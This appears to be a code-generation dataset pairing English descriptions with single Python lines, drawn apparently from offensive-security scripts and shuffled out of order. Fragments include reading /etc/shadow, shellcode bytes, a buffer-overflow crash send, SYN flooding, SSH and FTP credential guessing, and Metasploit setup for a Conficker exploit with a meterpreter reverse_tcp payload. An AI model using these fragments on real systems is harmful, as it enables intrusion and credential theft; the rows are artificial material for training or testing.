| Intent Script | |
| Assign 0 to seqNum seqNum = 0 | |
| Exit the function with argument geoLoc return geoLoc | |
| Exit with value 0 exit(0) | |
| Instantiate the class BoundedSemaphore with argument value equals to maxConnections and assign the result to connection_lock connection_lock = BoundedSemaphore(value=maxConnections) | |
| "Call the method send with argument command concatenated to "" "" concatenated to crash concatenated to ""\r\n""" "s.send(command +"" "" + crash + ""\r\\n"")" | |
| If username is equal to None or password is equals to None if username == None or password == None: | |
| Send the packet synPkt send(synPkt) | |
| Start try block try: | |
| Start the exception block with arguments Exception and e except Exception, e: | |
| Call function send_command with arguments s and 'cat /etc/shadow | grep root' send_command(s, 'cat /etc/shadow | grep root') | |
| "Assign to shellcode the tuple containing ""\xbf\x5c\x2a\x11\xb3\xd9\xe5\xd9\x74\x24\xf4\x5d\x33\xc9""" "shellcode = (""\xbf\x5c\x2a\x11\xb3\xd9\xe5\xd9\x74\x24\xf4\x5d\x33\xc9""" | |
| "Continue the value with ""\NetworkList\Signatures\Unmanaged""" """\NetworkList\Signatures\Unmanaged""" | |
| If the method haslayer with argument DNSRR of pkt is True if pkt.haslayer(DNSRR): | |
| "and ""\xea\xc9\xf3\x7d\x78\x02\xc0\x9c\x7f\x0f\x60\xd6\xb8\xd8""" """\xea\xc9\xf3\x7d\x78\x02\xc0\x9c\x7f\x0f\x60\xd6\xb8\xd8""" | |
| If rLat exists if rLat: | |
| Define the cursor c of the database c = conn.cursor() | |
| Import the library to control the operative system import os | |
| import everything from the library for threads from threading import * | |
| Concatenate the strings kmlPts = kmlPts + srcKML + dstKML | |
| Assign to opt the value ' -o PasswordAuthentication=no' opt = ' -o PasswordAuthentication=no' | |
| Release the lock screenLock.release() | |
| Add the option of the parser p for tgtPort as a string with help specify target port[s] separated by comma parser.add_option('-p', dest='tgtPort', type='string',help='specify target port[s] separated by comma') | |
| Call the open function with argument 'meta.rc' and 'w' configFile = open('meta.rc', 'w') | |
| Set a proxy to browser with address proxy browser.set_proxies(proxy) | |
| Continue the argument with help 'specify wigle username' help='specify wigle username') | |
| Assign to synSpoof the sunSpoof of options synSpoof = options.synSpoof | |
| Call the method spawn with argument connStr of pexpect and assign it to child child = pexpect.spawn(connStr) | |
| Import the library to manage time import time | |
| Acquire the lock screenLock.acquire() | |
| Call the method split with argument '\\' and slice at position -1 and assign it to user user = value.split('\\')[-1] | |
| If passwdFile is not equal to None if passwdFile != None: | |
| Assign to TCPlayer the result of the function TCP with argument sport equals sport and dport equals to 513 TCPlayer = TCP(sport=sport, dport=513) | |
| Exit the function with argument imgFileName return imgFileName | |
| For each ch in val for ch in val: | |
| import the library for parsing import optparse | |
| Call the method login with arguments userName and passWord of ftp ftp.login(userName, passWord) | |
| If the value of Fails is more than 5 if Fails > 5: | |
| If the substring 'read_nonblocking' is found in the result of the function str with argument e if 'read_nonblocking' in str(e): | |
| Assign to the value tcp the data of ip tcp = ip.data | |
| Add the options to parser '-i', dest equals to 'iface', type equals to 'string', help equals to 'specify network interface' parser.add_option('-i', dest='iface', type='string',help='specify network interface') | |
| Define function connect with arguments host user and password def connect(host, user, password): | |
| Assign to skypeDB the path of main.db inside the pathName skypeDB = os.path.join(pathName, 'main.db') | |
| From the library to manipulate IPs import IP as IPTEST from IPy import IP as IPTEST | |
| Assign to kml and empty string kmlPts = '' | |
| Assign an empty list to dnsRecords at the key rrname dnsRecords[rrname] = [] | |
| Call the method parse_args with no argument on parser and assign it to the tuple composed of options and args (options, args) = parser.parse_args() | |
| "Assign to parser the OptionParser with argument the concatenation of""usage %prog "" and ""-p <firefox profile path> """ "parser = optparse.OptionParser(""usage %prog ""+""-p <firefox profile path> "")" | |
| Assign to c the cursor of conn c = conn.cursor() | |
| Call the function printGoogle with argument placesDB printGoogle(placesDB) | |
| If the absolute value of ttl casted to int minus the ttlValues at the hey ipsrc casted at int is more than THRESH if abs(int(ttl) - int(ttlValues[ipsrc])) > THRESH: | |
| Append to the list dnsRecords at the key rrname the value rdata dnsRecords[rrname].append(rdata) | |
| Assign to mapLat the value rLat at the position 0, then call the function split with argument '&' at the position 0, then call the function split with argument '=' at the position 1 mapLat = rLat[0].split('&')[0].split('=')[1] | |
| Define the function testUserAgent with argument url an userAgent def testUserAgent(url, userAgent): | |
| Connect to the database placesDB and assign it to conn conn = sqlite3.connect(placesDB) | |
| Call the method append with argument host of tgtHosts tgtHosts.append(host) | |
| Call the addClient function with arguments '127.0.0.1', 'root' and 'toor' addClient('127.0.0.1', 'root', 'toor') | |
| Call the method write of configFile with argument 'setg DisablePayloadHandler 1\n' configFile.write('setg DisablePayloadHandler 1\\n') | |
| Call the method split with argument ':' on line, take the the result in position 1, call the strip method with argument '\r' then call the strip method with argument '\n' and assign it to passWord passWord = line.split(':')[1].strip('\r').strip('\\n') | |
| Assign to soup the result of BeautufulSoup with argument html soup = BeautifulSoup(html) | |
| Call the method write of configFile with argument 'set RHOST ' concatenated to the function str with argument tgtHost concatenated to '\n' configFile.write('set RHOST ' + str(tgtHost) + '\\n') | |
| Continue the argument and concatenation with 'windows/meterpreter/reverse_tcp\n' 'windows/meterpreter/reverse_tcp\\n') | |
| Call the function confickerExploit with arguments configFile, tgtHost, lhost and lport confickerExploit(configFile, tgtHost, lhost, lport) | |
| For each recycleDir in dirs for recycleDir in dirs: | |
| Exit the function with tuple userName and passWord return (userName, passWord) | |
| Assign to password the value password of options password = options.password | |
| Call the function FTP with argument hostname of the library ftplib and assign it to ftp ftp = ftplib.FTP(hostname) | |
| "Assign to link_finder the function compile with argument 'href=""(.*?)""' of re" "link_finder = re.compile('href=""(.*?)""')" | |
| "and ""\xba\x1e\x53\x31""" """\xba\x1e\x53\x31"")" | |
| Assign to latitude the field 'latitude' of rec latitude = rec['latitude'] | |
| Assign the value '192.168.95.179' to host host = '192.168.95.179' | |
| Assign to text the result with key 'content' text = result['content'] | |
| From the library to manipulate packets import everything from scapy.all import * | |
| Define the function synFlood with arguments src and tgt def synFlood(src, tgt): | |
| Call the function listDir with argument recycleDir of os and assign the result to dirList dirList = os.listdir(recycleDir) | |
| Call the function nlst with no argument from the library ftp and assign to dirList dirList = ftp.nlst() | |
| Assign to r the result of all the substring that match the pattern r'q=.*\&' of url r = re.findall(r'q=.*\&', url) | |
| "Continue the arguments with value ""SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList""" """SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList""" | |
| Continue the argument and the list with the value '[P|p]assword:' '[P|p]assword:']) | |
| Assign to addr the value '' addr = '' | |
| From the library to edit the Windows registry import everything from _winreg import * | |
| Get the record for that IP and assign it to rec rec = gi.record_by_name(ip) | |
| Import the library to manipulate json files import json | |
| Assign the value True to the variable Found Found = True | |
| Start the try block except: | |
| If the thresh of options is not equal to None if options.thresh != None: | |
| For each cookie in the cookie_jar of ab for cookie in ab.cookie_jar: | |
| Assign to passWord the value 'guest' passWord = 'guest' | |
| Define the function val2addr with argument val def val2addr(val): | |
| Assign to url the result of function str with argument row at position 0 url = str(row[0]) | |
| Call the method acquire with no arguments of connection_lock connection_lock.acquire() | |
| Assign to src the src of options src = options.src | |
| For each pkt in pkts for pkt in pkts: | |
| Call the method write of configFile with argument 'exploit -j -z\n' configFile.write('exploit -j -z\\n') | |
| Call the function wiglePrint with argument username, password and macAddr wiglePrint(username, password, macAddr) | |
| Assign to url the value 'http://ip.nefsc.noaa.gov/' url = 'http://ip.nefsc.noaa.gov/' | |
| Assign the value user to self.user self.user = user | |
| Call the function printCookies with argument url printCookies(url) | |
| Assign to userAgent a tuple made of 'User-agent' and 'Mozilla/5.0 (X11; U; '+ 'Linux 2.4.2-2 i586; en-US; m18) Gecko/20010131 Netscape6/6.01' inside a list userAgent = [('User-agent', 'Mozilla/5.0 (X11; U; '+ 'Linux 2.4.2-2 i586; en-US; m18) Gecko/20010131 Netscape6/6.01')] | |
| "and ""\x19\xe6\x91\x65\x94\xf6\xd6\x42\x46\x8d\x2c\xb1\xfb\x96""" """\x19\xe6\x91\x65\x94\xf6\xd6\x42\x46\x8d\x2c\xb1\xfb\x96""" | |
| "Assign to kmlheader the string '<?xml version=""1.0"" encoding=""UTF-8""?><kml xmlns=""http://www.opengis.net/kml/2.2"">\n<Document>\n'" "kmlheader = '<?xml version=""1.0"" encoding=""UTF-8""?><kml xmlns=""http://www.opengis.net/kml/2.2"">\\n<Document>\\n'" | |
| Start try block try: | |
| Exit the function with value True return True | |
| Assign to country the field 'country_name' of rec country = rec['country_name'] | |
| Call the function sleep with argument 4 of the library time time.sleep(4) | |
| From the library to parse HTML import BeautifilSoup from bs4 import BeautifulSoup | |
| Open the page at the url and assign it to page page = browser.open(url) | |
| Assing to preNum seqNum preNum = seqNum | |
| Assign True to the variable Stop Stop = True | |
| Exit function and return the value addr return addr | |
| If rLon exists if rLon: | |
| Import the library to use a sqlite database import sqlite3 | |
| Add the option -u for url as type string with help equals to 'specify url address' parser.add_option('-u', dest='url', type='string', help='specify url address') | |
| Define the function printGoogle with argument placesDB def printGoogle(placesDB): | |